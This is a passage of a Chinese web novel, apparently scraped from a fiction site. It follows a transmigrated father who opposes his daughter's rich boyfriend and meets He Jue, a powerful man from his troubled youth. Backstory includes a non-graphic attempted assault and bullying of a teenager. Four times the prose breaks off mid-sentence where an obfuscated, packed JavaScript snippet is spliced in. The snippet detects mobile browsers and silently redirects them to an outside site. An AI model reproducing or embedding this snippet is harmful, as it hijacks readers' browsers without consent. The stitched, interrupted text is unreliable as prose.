万没想到,所谓的龙傲天男主,居然是一个染着一头帝王金的区区黄毛?! 沈望这辈子最痛恨的就是黄毛了,当然也平等得讨厌赤橙白绿青蓝紫毛,总之一切看起来像地痞流氓的家伙,绝对不在他能接受的名单之内。 萧诼骑着价值几百万的哈雷摩托车,拉风十足得停驻在女生宿舍楼下,一多半的宿舍瞬间窗明灯亮,无数颗洒满粉红桃心的脑袋堆在窗口,只为一睹萧诼的绝世风采。 沈望自己本身就是个绝世大美人,所以对于男人究竟是英俊,还是酷帅,或者优雅不羁完全划分不出来。 依他看,这个所谓的男主长得也就一般般吧。 一般般的男主潇洒地依靠在重机旁,一般般的长腿宛若两根修挺的竹,还有一般般的精瘦的腰肌和宽阔的肩膀,单是往那里一摆,堪比电视节目中很一般的明星。 女炮灰沈妙妙很快就从宿舍楼里跑出来,接受无数艳羡嫉妒恨的目光,跟男主萧诼亲密地搂在一起。 沈望:“!!!!!” 我养的天鹅被癞皮狗给叼住了! 沈望双目流淌出灼热的火苗,恨不得把叫萧诼的家伙点火焚了,假如手里有一把宰鱼刀的话,他也能毫不眨眼,给这小子点颜色瞧瞧。 萧诼虽是个有钱的财阀子弟,对沈妙妙却十分上心,大手摸了摸女生柔顺的发丝,低沉着嗓音说,“学习学累了?带你出去放松一下,嗯?” 沈妙妙点头接过头盔,自然而然地跨坐在摩托车后座,伸出双臂抱住男主的腰,俩人仿若无人之境,一脚油门跑得轰轰烈烈。 沈望眼睁睁看着女儿被黄毛拐走了,视觉冲击比脑海中最残酷的臆想还要残酷。 沈望:“!!!” 他妈的! 其他人都是纷纷流露出羡慕的声音。 只有沈望忍不住冲摩托车尾气大喊着,“注意交通安全啊!死黄毛!” 与此同时。 京城某高档俱乐部里。 一位妙龄少女不停地缠着男人,撒娇道,“小叔叔,小叔叔,你就帮我这一次嘛!我是真的喜欢萧诼,萧家马上也要给萧诼挑未婚妻的人选了,我是真的想跟他结婚嘛~” 鹤爵即使身处高档娱乐场所内,依旧打开私人电脑处理公务,双手在键盘间流畅地敲击着字符,假若这双保养得宜的手指敲击的是钢琴琴键,此刻流淌而出的乐曲也是悦耳动人的。 鹤爵抽空说了一声,“萧家?什么萧家?” 鹤若妍完全大吃一惊,凑近亲小叔的身边,不停暗示说,“小叔叔您是忙糊涂了吧?京城萧家您能不清楚吗?” 重点提示,“华盛建筑啊,京城最大的建筑公司,华盛啊!” 鹤爵一眼不抬,继续手里的工作,“你的婚事应该找你爸爸做主,我无能为力。” “您胡说!”鹤若妍嘟囔着嘴插嘴,“有谁不知道,咱们鹤家上下只有小叔叔您的话最有威严,连我爸,大伯二伯他们也都得为您是从。” 鹤若妍的马屁拍得自以为是。 她是鹤爵唯一的亲侄女,整个鹤家只有她这么一个养尊处优的小公主。 小叔叔对她也是极其宠爱的。 鹤爵淡笑一声,算是迎了侄女的赞誉,敲击键盘的双手微微一顿,能看到屏幕间的荧光,将十根匀称的指骨笼罩得骨节分明。 鹤爵说,“我先办公,你出去一阵。” 并不理睬侄女的苦苦哀求,而是叫人立刻离开。 鹤若妍噘着嘴,还想再继续求几句,可是联想到她这个小叔叔属于工作狂魔,只要忙起来的瞬间,周围是不可以有任何响声的。 VIP包厢内前一秒的热闹非凡,也是在鹤爵打开笔电的瞬间,立刻变作悄无声息的。 “今天可是我的生日啊~” 鹤若妍小声地嘀咕,完全不敢发出一丁点儿的声响,只是做了口型,便嘟囔着悄声离开。 她这个小叔叔平常是很宠溺她的,除了在工作的时候。 鹤若妍关好门,VIP包厢外安静如鸡站着几十个前来庆生的人,有的抱着香槟,有的穿着兔女郎服装,有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344798|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人合力抱着巨大的生日蛋糕,上面的蜡烛已经快燃烧到尾巴了。 鹤若妍一跺脚,气道,“都在这里傻愣着做什么!难道这海天世界里只有一个VIP包厢?!!” 被鹤家的小公主一提醒,门口发怔的家伙们才出声应承说,“对对对,我们换另外一间包厢就好。” 人群里有七八个富家少爷,都是平常追求鹤若妍的情敌,凑过来连声哄道,“妍妍不生气,我们重新给你订一个蛋糕,咱们重新吹蜡烛许愿。” 于是一群人如众星拱月一般,将鹤若妍拥簇着,从走廊这头缓缓走向另一个包厢。 正当服务生要打开包厢门时。 鹤若妍居然看到了朝思暮想的身影,一瞬间变得激动道,“萧诼!” 我就知道你记得我的生日宴会! 后一句话完全没机会讲出口。 鹤若妍又看见了另一个,令她恨得牙痒痒的身影。 沈妙妙穿着洁白无瑕的连衣裙,掐得小腰细细的,一张脸孔细腻红润,美艳又纯洁,被萧诼拉着手出现在走廊入口,吸引了无数男女的争相观望。 沈妙妙是认识鹤若妍的,两人不但喜欢同一个男人,也是同系同级的同学。 沈妙妙一瞧对方身后的大蛋糕,立刻明白是怎么回事,径自停住脚不愿再往前走一步,对牵着自己的人问道,“你是带我来参加生日宴会的?” 萧诼也停下脚步,拉住女朋友的手转为搂腰,言辞清冽道,“怎么可能,我除了你的生日,怎么可能随便记住其他女人的生日?” 两人的交谈声其实并不大,反倒让迎面而来的鹤若妍听得真真切切。 萧诼一直没瞧上过她,这令备受万千宠爱的鹤家小公主十分受挫。 尤其是此时此刻,简直受挫至极,堪称奇耻大辱。 鹤若妍的面子一时挂不住,尤其追求她的几个少爷都知道,小公主心里的白马王子是谁。 所有的一切尴尬叠加起来,令鹤若妍堪称奇耻大辱,不由环顾四周,一把抄起打开了木塞的香槟酒瓶,笔直得要冲向沈妙妙的方向。 适时,VIP包厢的房门打开,从里面走出一具颀长又冷酷的身影。 距离不算太远。 鹤爵低声说了句,“鹤若妍,过来。” 声线沉冷,仿若洞悉了一切的从容与镇定,缓慢释放出定身魔法。 鹤若妍立刻不敢乱动了,可是内心又禁不住所遭受的委屈,不停跺脚发泄着。 沈妙妙跟鹤若妍之间的矛盾不仅仅是围绕着萧诼进行的,比身材,比美貌,比成绩,比人缘,比什么都是出类拔萃超出一大截。 沈妙妙原本以为今天要跟鹤若妍狭路相逢了。 孰知...... 沈妙妙隔着一群人,远远地与鹤爵对望了一眼,冥冥中觉得有点熟悉和亲切。 鹤爵也淡淡地扫了她一眼,反倒没什么太大感觉似的,转身要走。 萧诼竟然吃醋道,“妙妙,你看什么野男人......” 沈妙妙的手机却意外响了起来,是她给爸爸单独设置的铃声。 沈妙妙快速接起电话,连男朋友讲了什么吃酸捻醋的话也没听清,只听见沈望从电话里讲。 “妙妙,我住院了,就在你们京大最近的附属医院。” 沈妙妙一把推开凑过来的萧诼,十分焦急道,“我先走了,我爸住院了。” 一点也没有留下来的意思,扭头就跑。 她这句话,反倒令准备进屋的鹤爵顿了顿脚,又倒退半步,冷冰冰地眯起眼看了一下女生的背影。 其实说白了。 并不是女生引起了他的注意。 应该说电话里隐隐约约的声音勾起了鹤爵的注意。 这是怎么回事? 5. 第 5 章 萧诼陪着沈妙妙赶往了附属医院,临到门口时,沈妙妙告诉男朋友不用再往前走了。 萧诼算是少爷堆里最桀骜不驯的一个,听到对方的话,第一反应是女朋友害羞了,暂时还不打算让见家长的意思。 沈妙妙自然有自己的考虑,萧诼也尊重了她的意思,转头骑车走了。 沈妙妙整理了一下发丝和裙摆,慌慌张张跑向医院方向。 哪知亲爹沈望并没有躺在医院的病床,而是穿着青春感十足的衣裳,站在层层台阶之上。 沈妙妙是从小看见过最真实的沈望长大的,即使知道爸爸的容貌昳丽,依旧被男人极其新鲜又年轻的样子深深陶醉。 ——我爸爸长得真帅! 沈望为了养活她长大,经历了多少辛酸甘苦,作为女儿,沈妙妙是最深有体会的。 于是喊道,“爸爸,你不是说自己出了事故,难道你不是应该躺在医院里吗?你怎么.......” 沈望极少对她发火,更没有任何牢骚。 父女连心。 沈妙妙冥冥中感知到父亲现在应该是生气了,一双斜飞的长眸子仅仅蹙着,愠怒之外含着三分妩媚。 沈望说,“我根本没有生病,我其实是专程从广城过来,突然袭击你一下的。” 沈妙妙噗嗤笑了,父女俩颜值都颇高,一颦一笑异常吸人眼球。 “爸爸,你真是吓死我了,”沈妙妙绝对不是弄虚作假,用手拍抚着胸口的忐忑,“我知道你出意外的时候,都快要哭出来了。” 沈望瞧着妙龄多姿的女儿,第一次摆出严肃的面孔,拿出父亲应该有的威严,用鼻腔轻哼了一声。 “刚才送你过来的家伙是谁?不要欺骗我,我可是一双眼睛看得真真切切的,每天凌晨四点钟我去码头进货,谁都别想拿死鱼死虾糊弄我。” 沈妙妙居然一点也不紧张,若是别人家的女儿被父亲盘问,肯定是要紧张得要命。 而沈妙妙不同。 她搭手搀住沈望的手臂,用惯有的撒娇手法摇了摇,轻声笑道,“不是什么重要的人,爸爸不用在意他。” 怎么可能不在意呢?! 沈望心底早已经排山倒海起来。 女儿不承认男朋友的存在,他就不能借机发飙了?如果不能借机发飙,他就不能一哭二闹三上吊,逼着两人趁早分手了?! 小贼丫头。 沈望拿出小摊贩应有的精明,反问道,“现在都已经快十二点了,你为什么还跟其他人在一起?你们大学的管理应该是很严格的,起码十点钟就要锁宿舍楼门了吧?” 沈妙妙自然而然说,“宿舍门确实早已经锁了,我这不是担心爸爸,才专程请假出来见你的嘛~” 沈妙妙的机智是大广福海鲜市场里公认的,否则不会所有摊贩都喜欢这个精灵鬼丫头。 此刻小丫头片子缠住沈望的手臂,反而先发制人问,“爸爸你究竟是什么时候偷偷跑来京城的呀?我记得你跟我讲,这辈子都没有办法迈进京城一步的?” 还有,“爸爸你究竟是想考验我什么呀?” “你瞧瞧我,一没有浓妆艳抹,二没有抽烟酗酒,三也没有夜不归宿,爸爸你究竟是对我哪里不够放心呀?” “还专门花几千块,千里迢迢地跑来探我的风,哼,你可真是太狡猾了,而且对我也不够信任。” 还有还有,“爸爸,你怎么突然改变形象了?把自己弄得和18岁大学生一样,不过这样很好看,只是你突然往年轻了打扮.......” 沈妙妙的眼珠微微荡漾,“总不会是准备给我找一个新妈妈,故意来探我的口风吧?” 沈望:“......”竟无语凝噎。 小家伙从小是格外聪慧一点的,也没想过她这机灵的脑袋和伶牙俐齿的口才,究竟是出自于谁的基因。 沈望只记得跟自己共同造人的家伙,安静且沉寂,脑子是绝对很好使的。 自己考27分的时候,对方随便学习一下,就能考满分。 沈望只能红着脸应付说,“哪哪哪......哪里来的新妈妈?我一辈子只要有你就够了。” 沈妙妙趁机抱在沈望的腰身,“好啊,那我也只要爸爸,其他人都不要。” 沈望一夜无眠。 他思考的事情委实太多。 例如女儿为什么能扭转乾坤,将他的话题死死压制? ——一定是随了那个人。 为什么提到萧诼,女儿脸色一点少女应有的羞赧红晕都没有? ——一定是随了那个人! 为什么他这么聪明的女儿,看起来也不怎像恋爱脑的样子,宁可撒谎也要隐瞒萧诼的存在?最后还为了该死的男主,惨死在第一章? ...... 这似乎赖不到那个人的头上。 沈望接下来的几天,每天都有沈妙妙的陪伴,沈妙妙不仅亲自带着他四处游玩,还将宿舍的三个舍友介绍给他。 当然,沈望为了不引起少女们的惊声尖叫,专门全程佩戴口罩,谨防夏璇这个小妮子叫破喉咙。 被女儿缠住的几天,完全没有再看见萧诼一眼。 沈望很失望。 他这次来是跟女儿摊牌的,即使不能把女儿从男主身边抢过来,起码也得敲敲男主的边鼓,叫对方离女儿远一点。 老父亲的心啊。 沈望以不打扰女儿学习为借口,假装说自己想在京城里逛一逛。 沈妙妙的学业确实紧张,于是给沈望下载了一个当地用的APP,上面吃喝玩乐一应俱全,包教包会后才去教学楼上课。 沈望不好从女儿这找到突破口,只能另辟蹊径。 大不了就是坏人由他一个人来做呗。 沈望跟沈妙妙的三个舍友分别加了好友,尤其是夏璇,这个孩子一口一个帅叔叔叫他,应该算是个热情洋溢的好孩子。 于是沈望私底下跟夏璇通了电话。 夏璇这个孩子直心肠,为人热情,言无不尽,沈望大概绕到了萧诼的话题上,人家孩子一点就透,连声说道,“叔叔你不会反对妙妙找对象吧?” 沈望摸了摸脖颈间的高领,确保自己没有心虚出汗,假装开明道,“我怎么可能会是那种封建思想的人?只要姓萧的小子对妙妙好......” 缺心眼的夏璇哪知是哄人的,最主要夏璇被沈望的美艳暴击过,觉得长得那么美的人是绝对没有任何心眼子的,真诚道,“萧诼长得那么帅,肯定对妙妙是真心的,我发誓像他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344799|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的极品帅哥,绝对是真心实意爱妙妙的!” 沈望:......好吧,这孩子看脸。 夏璇接下来还谈了不少萧诼的好话,例如萧诼在告白那天,开着一辆卡车进来,当卡车门打开的瞬间,里面飞出了长千上万的桃心红气球。 萧诼甚至还在京大里捐了一座雕塑,用来纪念沈妙妙接受他的日子。 萧诼还...... 沈望越听越不靠谱,这破烂狗血小说世界,全是编出来哄骗纯情小姑娘的吧? 其实这些酸倒牙的举动,沈望也并不觉得可怕,唯一令他感到可怕的地方在于。 萧诼家财力雄厚,并且非比寻常。假若对方仅仅是一个鬼火少年,可能沈望冲过去给个大逼兜,也能破坏这段孽缘。 现在的情况是,明显敌强我弱。 真的闹起来,自己绝对落在下乘。 可是!!! 沈望又绝对绝对不甘心! 凭什么他的女儿死在第一章,这个该死的男主在后面狂开金手指,还娶了八个老婆,享受人间极致的幸福!! 这个世界没有法律吗?居然能娶这么多老婆!! ...... 老婆。 对了。 沈望亲自看了不少剧情提示,尤其是针对这个半路女婿的庞大后宫,里面的女人各个如花似玉,家财万贯,背景雄厚,全部的铺垫都是为了帮助男主与本书第一大反派人物的巅峰对决。 本书第一大反派叫...... 沈望有点记不太清了,不过这个反派的侄女似乎也背叛家族,最后强行加入了男主的老婆队。 似乎是叫......鹤......鹤...... 沈望在想起这个独特的姓氏时,前一秒还处于平静之中,后一秒,前所未有的恐慌彻底袭来。 姓鹤!! tmd为什么姓鹤!华国姓氏那么多,为什么偏偏姓鹤! 他这辈子,最不愿意见到的,就是任何一个姓鹤的人! 沈望浑身不停地颤抖,包括他的全部感知力都在一个瞬间被魔力摄住似的,人虽然在往马路对面慢慢走着,魂魄已经逐渐僵化,甚至飘散出去,徒留一具空荡荡的躯壳。 “嘎吱!!”车轮胎重重地与地面发生的摩擦声刺破耳膜。 沈望潜意识里有危险靠近,然而当他真正反应着是被车子擦了一下的瞬间,人已经应声倒地,沉重地撞击向地面。 开车的司机经验老道,在沈望没头没脑冲出马路的瞬间紧急打了方向盘。 应该是没有撞到,但绝对是蹭到了的尴尬角度。 迈巴赫紧急刹车后,从驾驶室匆匆忙忙地走下来司机的身影,只听他说,“鹤爷,这边我来处理,您稍微等我一下。” 大白天的,在马路上横冲直闯,尤其还是朝着名车下手。 司机八成以为是个碰瓷的家伙。 沈望绝对是魂不附体的样子,胳膊隐隐发疼,坐在地面茫然地仰望着四周。 直到一双擦拭锃亮的纯黑稳重地落在地面,看起来十分高级,称得路面也显得朴素且廉价。 被称作鹤爷的人缓道,“我搭乘后面的车,无论如何,先载人去医院检查一下。” 6. 第 6 章 沈望这辈子都不会忘记这道令人心惊胆寒的低沉声线。 即使过去了18年有余,寒冬腊月结起的冰层,一点一滴记录着寒冷的次数。 听到对方说会去坐后面的下一辆车。 沈望几乎是本能地与司机摆手,示意根本没什么关系,完全不用理睬他这边。 踉跄着从地面爬起来,转身要离开车祸现场,多一秒都不愿意耽搁,生怕被对方识破。 鹤爵原本并不打算到京大的,奈何他三嫂央求说鹤若妍的关系,希望他能前往京大的校董会,与校董们一起共进晚餐。 鹤家人丁兴旺,鹤爵头上有四个哥哥,他是家里的老幺,这四个哥哥都早已成家,生的也都是儿子居多,仿佛捅了儿子窝似的,只有一个鹤若妍是女孩子,从小被独宠惯了。 如今鹤家的掌权人是鹤爵,假若鹤爵能赏这个脸的话,鹤若妍在京大所能获得的优待,恐怕是无人能及的。 所以出事故的瞬间,鹤爵的反应并不是嫌麻烦,而是恰恰好。 他从不为任何人的事情奔波,更不为任何人的恳求而牺牲自己的宝贵时间。 从来没有一个人,值得他格外侧目关注。 鹤爵也没仔细看碰瓷的人,不过是想要钱罢了,凡是能用钱打发的人,都不需要他插手。 所以鹤爵转了身,跟在迈巴赫后面的保镖车已经停下,下车的保镖对他毕恭毕敬。 只是区区一刹那。 鹤爵冥冥中嗅到了一点微乎其微的香味。 这极其不科学。 他已经丧失味觉和嗅觉许多年,对于鹤爵来讲,人生的意味仅仅是靠权利征伐所带来的短暂刺激。 什么这么香? 鹤爵冷不丁往回走了几步,正与爬起来要躲的沈望对上眼睛。 不知是谁启动了时间大法,又不知是谁冲撞了对方趁机的回忆,或者两人都有意忽略掉彼此过往,又或者两人适才想起些什么。 可以说沈望的丧气和鹤爵的恍然相得益彰。 沈望思忖得极快,无论过去多少年,他拥有了多少的能量与勇气,在面对眼前这个人时,永远有一种无法挣脱的无能为力。 所以沈望几乎自我麻痹地想——我现在老了,搞不好对方一看是个糟老头子,根本瞧不出来我是谁。 鹤爵则单手插进裤兜,看不清手掌间的动作,突如其来道,“需要走司法程序吗?” 几个字音如雷贯耳,压制性意味浓重至极。 沈望从背脊深处一扯,出了不少汗水,额头间也冒出几颗,他竟连赶紧擦拭掉的念头也没有,慌张说,“不用,是我没看路。” “是吗?”鹤爵能嗅见的香味陡然加重了一点,他像是防着谁似的,对司机示意,“车子我来开,你自己先回去。” 沈望连拒绝的理由都没有,身体被对方的眼神死死盯着,几乎忘记动弹。 司机也分外惊讶,下巴快要掉到地面。 爵爷已经十几年没有自己开过车了,究竟行是不行?!况且还是主动要送一个碰瓷的? 沈望说,“不然我赔你钱吧,这车也挺贵。” 鹤爵已经坐进主驾驶位,朝他淡道,“先体检完再说其他的。” 沈望内心早已恶龙咆哮,奈何对方把他的脸看得清清楚楚,即使连夜卷铺盖跑了,也会被再从老鼠洞里扯出来。 所以说嘛! 京城这个破地方,真tm的晦气。 沈望坐上副驾驶,脑海里不停搜索这本书关于自己的内容。 说实在的,他不过是沧海一粟,人物关系图谱里的一颗渣渣。 沈望有的没的胡思乱想,鹤爵径自将车窗打开,绵凉的风迅速地涌了进来,吹散了两人间的紧张氛围。 沈望这才清醒,tmd,我是不是漏味儿了! 小心翼翼闻了闻自己的胳膊,似乎慌张带来的汗水格外香甜。 这令沈望颇感尴尬。 是的。 沈望有毛病。 他从小到大都有这毛病。 他的身体比任何人都要芬芳馥郁一些,尤其在出汗的时候,会排出一点难以形容的甜美气味。 不过他的尿很普通,眼泪也没有天赋异禀。 唯独身体会散发出奇异的香味,替沈望在炎热的夏夜里驱赶不少蚊虫骚扰。 ...... 想偏了。 沈望想到了其实鹤爵根本没有嗅觉和味觉的事情,恐怕对方是这个世界上唯一不会闻见奇怪味道的人。 莫名有点放松之际,鹤爵开车的手忽然松开一只,一把狠狠捏住沈望来不及躲闪的手臂。 耳侧迎接而来的,是鹤爵低沉阴冷的笑,既绵长又尖锐,搭配他那张人神共愤的帅脸,委实有点违和。 鹤爵单手开车,像是经过一番内心活动,终于想明白了其中的原委,才慎重开口道。 “我该说,好久不见吗?望崽?” 沈望被他一句语气并不亲昵的昵称惊得头皮发麻,脚趾抠地,尝试着甩了甩手臂间的手指,“这位先生,我好像跟您不熟吧?” 此时此刻,沈望决定使用超自然力量帮助自己摆脱困境。 ——狗血剧情里最常用的遗忘大法。 鹤爵的下一句话则彻底击碎了他的计划。 “你知道我的个性, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344800|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要试图装傻,否则你会十分后悔。” 沈望现在就特别后悔,万万不该过马路的时候胡思乱想。 尤其是在狗血小说里,随随便便都会触碰到剧情节点,随便摔个跤都能遇见真命天子。 沈望只好换了方式,对着阴沉的鹤爵招了招手,“你好,真的是好久不见。” “我现在想下车了,可以吗?” 鹤爵专心致志地开车,“当然不行,先去医院检查下身体,再走也不迟。” “还是说,你不敢见我,是有其他原因?” 沈望立刻啐道,“我躲着你个鬼!”发完飙就再不肯说话,将脸偏向车窗以外,坚决不跟对方有任何视觉接触。 鹤爵这才侧了侧眸子,凝视了一阵子沈望的脖颈,那一节脖颈仿佛十几岁时的样子,又细又长,被破损严重的秋衣包裹得严丝合缝,每一寸肌肤都必须严格保管到位。 去的医院是鹤家投资建设的私人医院,所以鹤爵完全不需要挂号,就给沈望安排了最好的彩超检查。 鹤爵临时接了电话,转身出去。 沈望一瞧人走了,立刻对大夫说,“我根本没什么事情,大概随便看看就行了。” 一旁助理的护士脸红着说,“这可不行,您最好让大夫做细致检查,万一车祸中哪里受了内部损伤,就说不清楚了。” 小护士也没见过这么漂亮的帅哥,尤其跟着鼎鼎大名的鹤爵进来的,俩人一瞧各有风姿,绝对不是什么平凡人。 沈望也不打算为难小姑娘,悄眯眯问一句,“我不脱衣服行吗?” 鹤爵接的电话是他二哥打来的,医院是鹤家二公子在管理,所以鹤爵前脚一进门,后脚就有人给鹤二爷反馈。 鹤二爷以为是鹤爵出车祸了,吓了一身冷汗。 鹤爵跟他讲没事,随手挂掉电话,大步走进彩超室内。 只见沈望一个大老爷们扭扭捏捏的,拽住秋衣不肯放手。 彩超室内的味道改变了,不再是消毒液的刺鼻味,取而代之的是一股香郁的味道。 护士和医生面颊散发出异常的红气,凝视沈望的眼睛逐渐迷离。 鹤爵走上前,一把摁住沈望不断扭动的身体,一点也不温柔,反到以命令的口吻道,“你想让更多人被你诱惑!” 摁住的沈望完全不是对手,被鹤爵拉开腹部的衣料,露出的小腹,盖着一层细腻又柔软的薄肌,堪称白璧无瑕,泛起油润的白光。 真是一个好肚子。 假如沈望腹部下方,没有露出一截手术后残留的刀疤的话。 鹤爵深邃的眼神微光簇簇,激道,“你肚子上的刀疤是怎么回事?” 7. 第 7 章 沈望连忙扯住衣服下摆,遮掩丑陋的疤痕,快速找借口道,“我之前做了阑尾炎手术,怎么,不行啊?!” 凶巴巴的,与之前当小垃圾的时候如出一辙。 鹤爵收回越矩的双手,他们已经不再是当初的他们,有些事情错过便是永远错过。 何况,对方看起来过得应该不错,离开自己的十几年,沈望已经重新踏上属于自己的人生轨迹。 看起来止步不前的似乎只有自己而已。 鹤爵的气场立刻变作显而易见的阴沉。 站在一旁的彩超科专家立刻揭穿了沈望的谎言,“阑尾炎的手术早已经没有这么长的创口,而且位置也不对。” 沈望一阵脸热,改口道,“都十几年前做的手术了,谁还记得究竟切的是哪里......对了,我当时还得了胆结石。” 彩超科专家又道,“胆结石摘除手术的位置也不可能在腹部。” “倒是......” 沈望真心害怕他大咧咧说出个“剖腹产”来。 不过鹤爵俨然没有再听下去的兴趣,转身离开。 沈望大大松了口气,翻身从检查床上跳了下来,逃跑似的说道,“我真的没什么大问题,不会缠着你们这位尊贵的爵爷的。” 沈望走出私人医院的宽阔大门,鹤爵双手环抱胸口,仿佛是耐心地等他出来。 沈望挥挥手道,“我不是故意撞上你车的,假如知道那辆车的车主是你的话,我肯定今天绕得开开远远。” “而且我真的没事,以后即使有任何事,也不会去找你的。” 其实跟鹤爵憋了一路,沈望最想说这几句,现在大路朝天各走一边了,肚子里不存话是他的性格特点。 沈望在十八年前逃跑时,就很想把这些话pia在某个人的脸上,现在正是倾吐为快的最佳时机。 假如鹤爵敢挥我一拳,那就更是做了一个断。 鹤爵耐心听他噼里啪啦,双手从环抱的姿势变作插在裤兜里,脸色沉郁难看,大概这辈子没人敢在他的面前放肆至此。 沈望说完就跑。 鹤爵只回应了一句,“等等。”然后靠近对方,明显感觉沈望浑身的肌肉线条意外紧.缩了一下,像是条件反射的身体反应。 难道他害怕我? 鹤爵从裤兜里掏出一张纯金镶边的金属名片,塞进沈望的手心,他肯定不会做热脸贴冷屁股的蠢事,只是作为事主应尽的责任。 “有问题记得找我。” 沈望仿佛被烙铁烫了似的,手心里滋滋冒油,“我刚才说了,永远没有这种可能。” 毕竟名片是真金的,沈望又不好当面扔进垃圾桶,思来想去,还是找个什么地方处理掉。 十八年未见的两人匆匆一聚,又匆匆解散。 沈望紧了紧浑身上下的衣服,避免再有什么奇怪的香味钻出来,随手拦了一辆出租车,坐上去像是泄气的皮球,昏昏然倒头睡着了。 这一睡竟让沈望梦见了不堪的前半生。 短短的17年于人的一生中稍纵即逝,但在沈望的前半生中,汇聚成刻骨铭心的污点。 沈望出身不好,是属于各种意义上的不好,家里父母早亡,跟着爷爷奶奶生活,后来爷爷奶奶也相继离世,为此沈望还被送去社会福利院住了三年。 直到社会福利院通过各种渠道,联系到他早已经脱离家庭关系的小姑。 小姑当年因为父母的偏心,高中没毕业就直接进了大厂,还跟当时的厂长儿子结了婚,回头便跟老家断了联系。 姑父后来顺利继承了工厂,小姑自然而然成了人人羡慕的厂长夫人。 两人生有一个儿子,极其宠溺娇惯,对于家里突然多出来的沈望,肯定是没有多少好眼色的。 沈望知道自己算是个拖油瓶,也不敢在小姑姑父家里太过显眼,更多的时候是窝在杂物房的小床上学习。 他天生不是学习的料子,尤其没有好的学习环境,英语、数学等课程无异于是看天书。 不过这个时候他已经浑浑噩噩混进了高中了,小姑家的儿子在学校里从不准他随便搭话。 沈望当时的打算是,熬到高中文凭,就可以顺利进厂拧螺丝了。 哪知有次六日,他在浴室洗澡,被酒醉的姑父撞见,差点被身高体壮的姑父给强上了。 小姑把他打个半死,说他是天生的狐狸精,直接将沈望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344801|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驱逐出门。 沈望便开始了捡破烂凑学费的艰苦生活。 原本他以为只要熬一熬,总能混到毕业那一天的。 谁知他是狐狸精,连男人都勾引,用身体在外面赚脏钱的谣言在高中校园凭空掀起,而且愈演愈烈。 沈望即使穿得再破烂再厚实,大夏天里依旧会有人把他堵在厕所,用剪刀剪开他的裤子,他的衣裳,强迫他在充满尿骚味的空间里释放诱人的体香。 直到那一次。 有个男生真的快得逞,几乎要把沈望的内裤退下来。 厕所隔间的最后一道门被使劲踹开。 鹤爵就坐在幽暗深处,嘴上叼着忽明忽暗的烟蒂,一双黑色的眼眸仿佛从地狱中汲取了无尽的晦暗无光。 关于鹤爵的传说十分神秘,但是传得最夸张的版本是,他每天都从校长的专车上下学,校长就像他的专属司机。 鹤爵半举着上万块的高级手机,对着狼狈的场面一顿猛拍,淡淡说了一句,“恶心的同性恋。” 那几个欺负沈望的家伙立刻吓得屁股尿流,磕头求饶。 沈望也是一样,连裤衩子都没提起来,光着两条腿跑到鹤爵的那一间。 鹤爵大抵是嫌弃的,连眼神也没分给自己一丝,沈望却像紧抓住唯一的稻草,低声哀求说,“我什么都愿意听你的,做你的狗也行。” 鹤爵淡然扫了一眼他光溜溜的腿间那根,冷嘲热讽道,“女生吗?这么弱鸡?” ...... 沈望最后是被这个梦给气醒的。 他那个时候因为长期营养不良,四肢瘦的像豆芽菜,而且该生长发育的地方没有长起来罢了。 他现在超猛的,好吧?! 沈望真是越想越气,肢体间的香意几乎连衣服也控制不住了。 开车的司机从后视镜一直凝视他,心里正思忖着,哪里来的明星,居然好看成这样子?看了还想再看。 沈望则一眼瞧出后视镜中的贼眼珠子,这才想起自己好久没有用留海遮住面孔了。 曾经被骚扰的画面历历在目。 不由狠了语气道,“你敢再看,老子把你眼珠子给剜掉,信不信?” 8. 第 8 章 沈妙妙这边的状况并不乐观,因为萧诼的关系,她被任性大小姐鹤若妍盯上不是一天两天的事情。 尤其最近愈演愈烈。 事情的起因是六月份准备搞一场京城大学生运动会,要联合五所京城知名大学一起举办。 运动会开幕式的主持人全部要从五所名校中层层选拔,除了优秀的主持能力之外,更需要形象好气质佳的年轻人。 沈妙妙因为是中文系的才女,又是京大公认的校花,系主任强力将她推荐上去。 